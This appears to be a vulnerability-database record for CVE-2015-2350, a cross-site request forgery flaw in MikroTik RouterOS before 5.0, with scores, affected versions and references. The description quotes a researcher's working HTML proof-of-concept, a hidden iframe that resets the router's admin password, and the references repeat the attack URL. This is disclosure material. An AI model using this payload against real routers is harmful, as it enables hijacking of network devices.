Sign-up

ID

VAR-201503-0428


CVE

CVE-2015-2350


TITLE

MikroTik RouterOS Cross-Site Request Forgery Vulnerability

Trust: 1.2

sources: CNVD: CNVD-2015-01812 // CNNVD: CNNVD-201503-391

DESCRIPTION

Cross-site request forgery (CSRF) vulnerability in MikroTik RouterOS 5.0 and earlier allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via a request in the status page to /cfg. MikroTik RouterOS is an operating system for routers. MikroTik RouterOS is prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. This system turns a PC computer into a professional router. MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by @SymbianSyMoh What is MikroTik RouterOS?! MikroTik RouterOS is an operating system based on the Linux kernel, known as the MikroTik RouterOS. Installed on the company's proprietary hardware (RouterBOARD series), or on standard x86-based computers, it turns a computer into a network router and implements various additional features, such as firewalling, virtual private network (VPN) service and client, bandwidth shaping and quality of service, wireless access point functions and other commonly used features when interconnecting networks. The system is also able to serve as a captive-portal-based hotspot system. __"Wikipedia" What is CSRF Attack?! Cross-Site Request Forgery (CSRF) is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transfering funds, changing their email address, etc. If the victim is an administrative account, CSRF can compromise the entire web application. __"OWASP" Affected Versions: All MikroTik RouterOS versions before v5.0 PoC Code: <html> <body> <title>MikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability</title> <h1><b>MikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability by @SymbianSyMoh</b></h1></br> <input type="submit" value="Do it" onclick="var btn=document.createElement('IFRAME');btn.src=' http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned') <http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)> ;"></br> </body> </html> Video PoC: http://youtu.be/FHrvHJeLjLA <http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA> -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL> <http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh> Facebook <http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter <http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh>

Trust: 2.61

sources: NVD: CVE-2015-2350 // JVNDB: JVNDB-2015-001894 // CNVD: CNVD-2015-01812 // BID: 73013 // VULHUB: VHN-80311 // PACKETSTORM: 130722

AFFECTED PRODUCTS

vendor:mikrotikmodel:routerosscope:lteversion:5.0

Trust: 1.8

vendor:mikrotikmodel:routerosscope:ltversion:v5.0

Trust: 0.6

vendor:mikrotikmodel:routerosscope:eqversion:5.0

Trust: 0.6

vendor:mikrotikmodel:routerosscope:eqversion:2.9.51

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.50

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.49

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.48

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.47

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.46

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.45

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.44

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.43

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.42

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.41

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:2.9.40

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:4.0

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.2

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.13

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.12

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.11

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.10

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.09

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.08

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.07

Trust: 0.3

vendor:mikrotikmodel:routerosscope:eqversion:3.0

Trust: 0.3

vendor:mikrotikmodel:routerosscope:neversion:5.0

Trust: 0.3

sources: CNVD: CNVD-2015-01812 // BID: 73013 // JVNDB: JVNDB-2015-001894 // CNNVD: CNNVD-201503-391 // NVD: CVE-2015-2350

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2015-2350
value: MEDIUM

Trust: 1.0

NVD: CVE-2015-2350
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2015-01812
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201503-391
value: MEDIUM

Trust: 0.6

VULHUB: VHN-80311
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2015-2350
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2015-01812
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-80311
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2015-01812 // VULHUB: VHN-80311 // JVNDB: JVNDB-2015-001894 // CNNVD: CNNVD-201503-391 // NVD: CVE-2015-2350

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-80311 // JVNDB: JVNDB-2015-001894 // NVD: CVE-2015-2350

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201503-391

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201503-391

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2015-001894

PATCH
title:Top Pageurl:http://www.mikrotik.com/software
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2015-001894

EXTERNAL IDS
db:NVDid:CVE-2015-2350
Trust: 3.4
db:PACKETSTORMid:130722
Trust: 2.6
db:BIDid:73013
Trust: 1.4
db:JVNDBid:JVNDB-2015-001894
Trust: 0.8
db:CNNVDid:CNNVD-201503-391
Trust: 0.7
db:CNVDid:CNVD-2015-01812
Trust: 0.6
db:SEEBUGid:SSVID-91799
Trust: 0.1
db:VULHUBid:VHN-80311
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2015-01812 // 
            
            
            
            VULHUB: VHN-80311 // 
            
            
            
            BID: 73013 // 
            
            
            
            JVNDB: JVNDB-2015-001894 // 
            
            
            
            PACKETSTORM: 130722 // 
            
            
            
            CNNVD: CNNVD-201503-391 // 
            
            
            
            NVD: CVE-2015-2350

REFERENCES
url:http://seclists.org/fulldisclosure/2015/mar/49
Trust: 2.6
url:http://packetstormsecurity.com/files/130722/mikrotik-routeros-cross-site-request-forgery.html
Trust: 2.5
url:http://www.securityfocus.com/bid/73013
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2350
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2015-2350
Trust: 0.8
url:http://www.mikrotik.com/
Trust: 0.3
url:http://s.bl-1.com/h/mpqqs2k?url=https://twitter.com/symbiansymoh>
Trust: 0.1
url:http://youtu.be/fhrvhjeljla
Trust: 0.1
url:http://s.bl-1.com/h/mpqqhff?url=https://www.linkedin.com/in/symbiansymoh>
Trust: 0.1
url:http://s.bl-1.com/h/mpqq237?url=http://youtu.be/fhrvhjeljla>
Trust: 0.1
url:http://s.bl-1.com/h/mpqqnfh?url=https://fb.com/symbiansymoh>twitter
Trust: 0.1
url:http://s.bl-1.com/h/mpqqyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=pwn3d2015&password2=pwn3d2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myiframe%27;document.body.appendchild(btn);alert(%27pwned%27)>
Trust: 0.1
url:http://s.bl-1.com/h/mpqq6s9?url=https://www.linkedin.com/in/symbiansymoh>curriculum
Trust: 0.1
url:http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=pwn3d2015&password2=pwn3d2015&button=ok';btn.width='0';btn.height='0';btn.id='myiframe';document.body.appendchild(btn);alert('pwned')
Trust: 0.1
url:http://s.bl-1.com/h/mpqqcrc?url=http://goo.gl/cnrvpl>
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2015-01812 // 
            
            
            
            VULHUB: VHN-80311 // 
            
            
            
            BID: 73013 // 
            
            
            
            JVNDB: JVNDB-2015-001894 // 
            
            
            
            PACKETSTORM: 130722 // 
            
            
            
            CNNVD: CNNVD-201503-391 // 
            
            
            
            NVD: CVE-2015-2350

CREDITS
Mohamed Abdelbaset Elnoby
Trust: 0.3
sources:
            
            
            BID: 73013

SOURCES
db:CNVDid:CNVD-2015-01812
db:VULHUBid:VHN-80311
db:BIDid:73013
db:JVNDBid:JVNDB-2015-001894
db:PACKETSTORMid:130722
db:CNNVDid:CNNVD-201503-391
db:NVDid:CVE-2015-2350

LAST UPDATE DATE
2024-11-23T22:27:10.602000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2015-01812date:2015-03-19T00:00:00
db:VULHUBid:VHN-80311date:2015-09-24T00:00:00
db:BIDid:73013date:2015-04-13T21:03:00
db:JVNDBid:JVNDB-2015-001894date:2015-03-24T00:00:00
db:CNNVDid:CNNVD-201503-391date:2015-03-20T00:00:00
db:NVDid:CVE-2015-2350date:2024-11-21T02:27:16.403

SOURCES RELEASE DATE
db:CNVDid:CNVD-2015-01812date:2015-03-19T00:00:00
db:VULHUBid:VHN-80311date:2015-03-19T00:00:00
db:BIDid:73013date:2015-03-08T00:00:00
db:JVNDBid:JVNDB-2015-001894date:2015-03-24T00:00:00
db:PACKETSTORMid:130722date:2015-03-08T13:03:33
db:CNNVDid:CNNVD-201503-391date:2015-03-20T00:00:00
db:NVDid:CVE-2015-2350date:2015-03-19T14:59:02.557